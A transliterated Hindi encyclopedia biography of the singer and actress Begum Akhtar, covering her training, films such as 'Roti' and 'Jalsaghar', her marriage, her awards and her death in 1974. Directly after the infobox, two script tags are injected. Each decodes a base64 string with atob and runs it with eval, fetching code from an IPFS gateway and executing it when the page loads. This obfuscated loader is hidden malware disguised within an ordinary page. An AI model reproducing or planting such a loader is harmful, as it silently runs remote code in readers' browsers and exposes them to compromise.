बेगम अख़्तर

begam akhtar
'begam akhtar|200px|center
poora nam	akhtari baee faizabadi
prasiddh nam	begam akhtar
janm	7 aktoobar, 1914
janm bhoomi	faizabad, uttar pradesh
mrityu	30 aktoobar, 1974
mrityu sthan	ahamadabad, gujarat
pati/patni	ishtiak ahamad abbasi
karm bhoomi	mumbee, lakhanoo
karm-kshetr	gayan, abhinay
mukhy filmean	'amina', 'roti', 'jalasa ghar', 'danapani' adi
puraskar-upadhi	'padm shri', 'padm bhooshan', 'sangit natak akadami puraskar'
nagarikata	bharatiy
any janakari	7 aktoobar, 2017 ko googal ne begam akhtar ke 103vean janmadin par doodal banakar shrriddhaanjali di.
adyatan‎	13:03, 7 aktoobar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

begam akhtar (aangrezi: Begum Akhtar, janm: 7 aktoobar, 1914; mrityu: 30 aktoobar, 1974) bharat ki prasiddh gazal aur thumari gayika thian, jinhean kala ke kshetr mean bharat sarakar dvara san 1968 mean 'padm shri' aur san 1975 mean 'padm bhooshan' se sammanit kiya gaya tha. begam akhtar ko mallika-e-gazal bhi kaha jata hai.

jivan parichay

uttar pradesh ke faizabad mean 7 aktoobar 1914 mean janmian begam akhtar ka bachapan ke dinoan se hi sangit ki or rujhan tha. vah parshvagayika banana chahati thian. unake parivar vale unaki is ichchha ke sakht khilaf the lekin unake chacha ne begam akhtar ke sangit ke prati lagav ko pahachan liya aur unhean is rah par age badhane ke liye prerit kiya. begam akhtar ne faizabad mean sarangi ke ustad iman khaan aur ata mohammad khan se sangit ki praranbhik shiksha li. isake alava unhoanne mohammad khan, abdul vahid khan se bharatiy shastriy sangit sikha.

aranbhik jivan

bachapan ke dinoan mean ustad mohammad khan aur begam akhtar ke bich aisi ghatana huee ki begam akhtar ne gana sikhane se mana kar diya. un dinoan begam akhtar sahi sur nahian laga pati thian. unake guru ne unhean isake bare mean kee bar sikhaya aur jab vah nahian sikh paee to unhean daant diya. isake bad begam akhtar rone lagi aur kaha hamase nahian banata nanaji, maian gana nahian sikhooangi. tab unake ustad ne kaha bas itane mean har man li tumane, nahian bitto aise himmat nahian harate, meri bahadur bitiya chalo ek bar phir se sur lagane mean jut jao. unaki yah bat sunakar begam akhtar ne phir se riyaz shuroo kiya aur sahi sur lagaye. tis ke dashak mean begam akhtar parasi thiyetar se ju d geean. natakoan mean kam karane ke karan unaka riyaz chhoot gaya jisase unake guru mohammad ata khan kafi naraj huye aur kaha jab tak tum natak mean kam karana nahian chho dati, maian tumhean gana nahian sikhaooanga. unaki is bat par begam akhtar ne kaha ap sirph ek bar mera natak dekhane a jaean usake bad ap jo kaheange, maian karooangi. us rat mohammad ata khan begam akhtar ke natak turki hoor dekhane gaye. jab begam akhtar ne us natak ka gana 'chal ri mori naiyya' gaya to unaki aankhoan mean aansoo a gaye aur natak samapt hone ke bad begam akhtar se unhoanne kaha bitiya too sachchi adakara hai jab tak chaho natak mean kam karo.

sine kairiyar ki shuruat

natakoan mean mili shoharat ke bad begam akhtar ko kalakatta ki eest iandiya kanpani mean abhinay karane ka mauka mila. bataur abhinetri begam akhtar ne 'ek din ka badashah' se apane sine kairiyar ki shurooat ki, lekin is film ki asaphalata ke karan abhinetri ke roop mean vah kuchh khas pahachan nahian bana paee. varsh 1933 mean eest iandiya ke bainar tale bani film 'nal damayanti' ki saphalata ke bad begam akhtar bataur abhinetri apani kuchh pahachan banane mean saphal rahi. is bich begam akhtar ne amina, mumataj begam (1934), javani ka nasha (1935), nasib ka chakkar jaisi filmoan me apane abhinay ka jauhar dikhaya. kuchh samay ke bad vah lakhanoo chali geean, jahaan unaki mulakat mahan nirmata-nirdeshak mahaboob khan se huee jo begam akhtar ki pratibha se kafi prabhavit huye aur unhean muanbee ane ka nyota diya. varsh 1942 mean mahaboob khan ki film 'roti' mean begam akhtar ne abhinay karane ke sath hi gane bhi gaye. us film ke lie begam akhtar ne 6 gane rikard karaye the lekin film nirman ke dauran sangitakar anil vishvas aur mahaboob khan ke apasi anaban ke bad rikard kiye gaye tin ganoan ko film se hata diya gaya. bad mean unake inhian ganoan ko gramophon disk ne jari kiya. kuchh dinoan ke bad begam akhtar ko muanbee ki chakachauandh kuchh ajib si lagane lagi aur vah lakhanoo vapas chali geean.

prasiddh filmean

• amina (1934)
• mumataj begam (1934)
• roop kumari (1934)
• javani ka nasha (1935)
• nasib ka chakkar (1936)
• anarabala (1940)
• roti (1942)
• danapani (1953)
• ehasan (1954)
• jalasa ghar (1958)

akhtari baee se begam akhtar

1945 mean jab unaki shauharat apani charam sima par thi tab unhean shayad sachcha pyar mila aur unhoan ne ishtiak ahamad abbasi, jo peshe se vakil the, se nikah kar liya aur akhtari baee faizabadi se begam akhtar ban gayian. gayaki chho d di aur pardanashian ho gayian. bahut se logoan ne unake gayaki chho d dene par chhiantakashi ki, "sau choohe kha ke billi haj ko chali" lekin unhoanne apana ghar aise basaya manoan yahi unaki ibadat ho. paanch sal tak unhoanne bahar ki duniya mean jhaank kar bhi n dekha. lekin jo takadir vo likha kar layi thian usase kaise l d sakati thian. vo bimar rahane lagian aur daktaroan ne bataya ki unaki bimari ki ek hi vajah hai ki vo apane pahale pyar, yani ki gayaki se door haian. unake shauhar ki shah par 1949 mean vo ek bar phir apane pahale pyar ki taraf laut p dian aur aaul iandiya rediyo ki lakhanoo shakha se ju d gayian aur marate dam tak ju di rahian. unhoanne n sirf sangit ki duniya mean vapas kadam rakha balki hindi filmoan mean bhi gayaki ke sath sath abhinay ke kshetr mean bhi apana paracham faharaya.

filmoan mean vapasi

rediyo mean gana shuroo hua to sangit sammelan mean jane lagian aur isi bich filmoan mean bhi vapasi huee. mahanh sangitakar madan mohan ke kahane par begam akhtar ne 1953 mean pradarshit film 'danapani' ke git 'ai ishk mujhe aur kuchh yad nahi' aur 1954 mean pradarshit film 'ehasan' ke git 'hamean dil mean basa bhi lo' gakar shrotaoan ko mantramugdh kiya. pachas ke dashak mean begam akhtar ne filmoan me kam karana kuchh kam kar diya. varsh 1958 mean satyajit ray dvara nirmit film 'jalasa ghar' begam akhtar ke sine kairiyar ki aantim film sabit huee. is film mean unhoanne ek gayika ki bhoomika nibhakar use jivant kar diya tha. is dauran vah rangamanch se bhi ju di rahi aur abhinay karati rahi. thumb|begam akhtar ke 103vean janmadin par googal ne banaya doodal

samman aur puraskar

• san 1968 mean padm shri
• varsh 1972 mean sangit natak akadami puraskar
• san 1975 mean padm bhooshan

nidhan

apani jaduee avaz se shrotaoan ke diloan ke tar jhankrit karane vali yah mahanh gayika 30 aktoobar 1974 ko is duniya ko alavida kah geean. begam akhtar ki tamanna akhiri samay tak gate rahane ki thi jo poori bhi huee. mrityu se ath din pahale unhoanne mashahoor shayar kaifi azami ki yah gazal rikard ki thi-

suna karo meri jaan, unase unake afasane.
sab ajanabi haian yahaan, kaun kisako pahachane॥

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• mallika-e-gajal - begam akhtar
• begam akhtar : karmabhoomi mean hi parichay ko mohataj
• Begum Akhtar
• mere hamanafas mere hamanavaan- begam akhtar (yoo-tyoob)
• begam akhtar ka thumari gayan (yoo-tyoob)

sanbandhit lekh

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